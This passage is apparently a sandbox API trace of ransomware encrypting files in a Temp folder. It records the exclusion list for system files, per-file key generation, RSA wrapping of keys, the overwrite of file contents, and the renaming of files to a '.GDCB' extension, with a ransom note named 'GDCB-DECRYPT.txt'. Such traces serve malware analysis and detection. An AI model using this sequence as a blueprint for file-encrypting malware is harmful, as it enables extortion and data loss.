hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.758] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.758] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.759] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.759] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.759] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.759] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.761] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6530) returned 1 [0170.761] CryptGetKeyParam (in: hKey=0x5f6530, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.761] CryptEncrypt (in: hKey=0x5f6530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ab0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2ab0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.761] GetLastError () returned 0x0 [0170.761] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.761] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.763] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6570) returned 1 [0170.763] CryptGetKeyParam (in: hKey=0x5f6570, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.763] CryptEncrypt (in: hKey=0x5f6570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ac0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ac0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.763] GetLastError () returned 0x0 [0170.763] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.763] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nmk9pn0eeddrwu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.763] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods") returned 263 [0170.763] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods") returned 263 [0170.763] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods") returned 263 [0170.763] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods") returned 263 [0170.763] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="desktop.ini") returned 1 [0170.763] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="autorun.inf") returned 1 [0170.763] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="ntuser.dat") returned 1 [0170.763] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="iconcache.db") returned 1 [0170.764] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="bootsect.bak") returned 1 [0170.764] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="boot.ini") returned 1 [0170.764] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="ntuser.dat.log") returned 1 [0170.764] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="thumbs.db") returned -1 [0170.764] lstrcmpiW (lpString1="o h1B4ZQMyLmEA.ods", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.764] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o h1b4zqmylmea.ods")) returned 0xffffffff [0170.764] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods", dwFileAttributes=0xfffffffe) returned 0 [0170.764] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0170.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.764] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.764] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.764] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.765] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.765] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.765] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.767] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f63f0) returned 1 [0170.767] CryptGetKeyParam (in: hKey=0x5f63f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.767] CryptEncrypt (in: hKey=0x5f63f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ad0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2ad0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.767] GetLastError () returned 0x0 [0170.767] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.767] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.769] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6830) returned 1 [0170.769] CryptGetKeyParam (in: hKey=0x5f6830, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.769] CryptEncrypt (in: hKey=0x5f6830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ae0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ae0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.769] GetLastError () returned 0x0 [0170.769] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.769] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\o h1B4ZQMyLmEA.ods" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o h1b4zqmylmea.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.769] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp") returned 253 [0170.769] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp") returned 253 [0170.769] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp") returned 253 [0170.769] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp") returned 253 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="desktop.ini") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="autorun.inf") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="ntuser.dat") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="iconcache.db") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="bootsect.bak") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="boot.ini") returned 1 [0170.769] lstrcmpiW (lpString1="pEYv.bmp", lpString2="ntuser.dat.log") returned 1 [0170.770] lstrcmpiW (lpString1="pEYv.bmp", lpString2="thumbs.db") returned -1 [0170.770] lstrcmpiW (lpString1="pEYv.bmp", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.770] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\peyv.bmp")) returned 0x20 [0170.770] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp", dwFileAttributes=0x20) returned 1 [0170.772] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.773] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.773] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.773] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.773] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.773] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.773] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.774] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.775] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6730) returned 1 [0170.775] CryptGetKeyParam (in: hKey=0x5f6730, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.775] CryptEncrypt (in: hKey=0x5f6730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.776] GetLastError () returned 0x0 [0170.776] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.776] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.778] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f68b0) returned 1 [0170.778] CryptGetKeyParam (in: hKey=0x5f68b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.778] CryptEncrypt (in: hKey=0x5f68b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.778] GetLastError () returned 0x0 [0170.778] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\peyv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.781] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b10000 [0170.781] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2b20000 [0170.781] ReadFile (in: hFile=0x514, lpBuffer=0x2b20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesRead=0x285d3e8*=0xf0c2, lpOverlapped=0x0) returned 1 [0170.786] VirtualAlloc (lpAddress=0x0, dwSize=0xf0d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2c30000 [0170.787] VirtualAlloc (lpAddress=0x0, dwSize=0xf0d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2c40000 [0170.788] VirtualFree (lpAddress=0x2c30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.788] SetFilePointer (in: hFile=0x514, lDistanceToMove=-61634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.788] WriteFile (in: hFile=0x514, lpBuffer=0x2c40000*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2c40000*, lpNumberOfBytesWritten=0x285d3e0*=0xf0d0, lpOverlapped=0x0) returned 1 [0170.788] VirtualFree (lpAddress=0x2c40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.789] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.792] WriteFile (in: hFile=0x514, lpBuffer=0x2af0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2af0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.792] WriteFile (in: hFile=0x514, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.792] WriteFile (in: hFile=0x514, lpBuffer=0x2b10000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b10000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.792] CloseHandle (hObject=0x514) returned 1 [0170.793] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.794] VirtualFree (lpAddress=0x2af0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.794] VirtualFree (lpAddress=0x2b00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.794] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\peyv.bmp"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\pEYv.bmp.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\peyv.bmp.gdcb")) returned 1 [0170.797] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif") returned 255 [0170.797] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif") returned 255 [0170.797] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif") returned 255 [0170.797] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif") returned 255 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="desktop.ini") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="autorun.inf") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="ntuser.dat") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="iconcache.db") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="bootsect.bak") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="boot.ini") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="ntuser.dat.log") returned 1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="thumbs.db") returned -1 [0170.797] lstrcmpiW (lpString1="psXl 1.gif", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.797] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif")) returned 0x20 [0170.798] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif", dwFileAttributes=0x20) returned 1 [0170.800] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0170.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.801] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.801] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.801] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0170.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.802] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.802] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.802] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.804] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f65b0) returned 1 [0170.804] CryptGetKeyParam (in: hKey=0x5f65b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.804] CryptEncrypt (in: hKey=0x5f65b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.804] GetLastError () returned 0x0 [0170.804] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.804] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.806] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6770) returned 1 [0170.806] CryptGetKeyParam (in: hKey=0x5f6770, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.806] CryptEncrypt (in: hKey=0x5f6770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.807] GetLastError () returned 0x0 [0170.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.810] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b10000 [0170.811] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2b20000 [0170.811] ReadFile (in: hFile=0x514, lpBuffer=0x2b20000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesRead=0x285d3e8*=0x308f, lpOverlapped=0x0) returned 1 [0170.816] VirtualAlloc (lpAddress=0x0, dwSize=0x3090, flAllocationType=0x3000, flProtect=0x4) returned 0x2c30000 [0170.816] VirtualAlloc (lpAddress=0x0, dwSize=0x3090, flAllocationType=0x3000, flProtect=0x4) returned 0x2c40000 [0170.816] VirtualFree (lpAddress=0x2c30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.817] SetFilePointer (in: hFile=0x514, lDistanceToMove=-12431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.817] WriteFile (in: hFile=0x514, lpBuffer=0x2c40000*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2c40000*, lpNumberOfBytesWritten=0x285d3e0*=0x3090, lpOverlapped=0x0) returned 1 [0170.817] VirtualFree (lpAddress=0x2c40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.817] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 